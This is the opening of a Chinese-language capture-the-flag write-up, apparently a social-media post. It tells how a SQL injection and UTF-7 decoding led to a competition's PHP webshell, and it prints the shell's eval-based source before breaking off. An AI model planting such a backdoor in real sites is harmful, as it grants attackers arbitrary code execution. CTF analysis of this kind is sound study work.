一次比賽的木馬從分析到種馬接着刪馬

點擊上方藍色字體，關注我們 參加完某某國賽，對比賽木馬的分析與思考。從分析到利用接着刪馬。 首先我們拿到題目是個sql注入通過各種姿勢獲得了一串字符，utf-7解碼，得到木馬的鏈接地址，訪問可以得到木馬的源代碼。如下 <?php show_source(__FILE__); $a= @$_REQUEST['a']; @eval("var_dump($$a);"); ?> 我們的目的很簡單，利用題目

>>阅读原文<<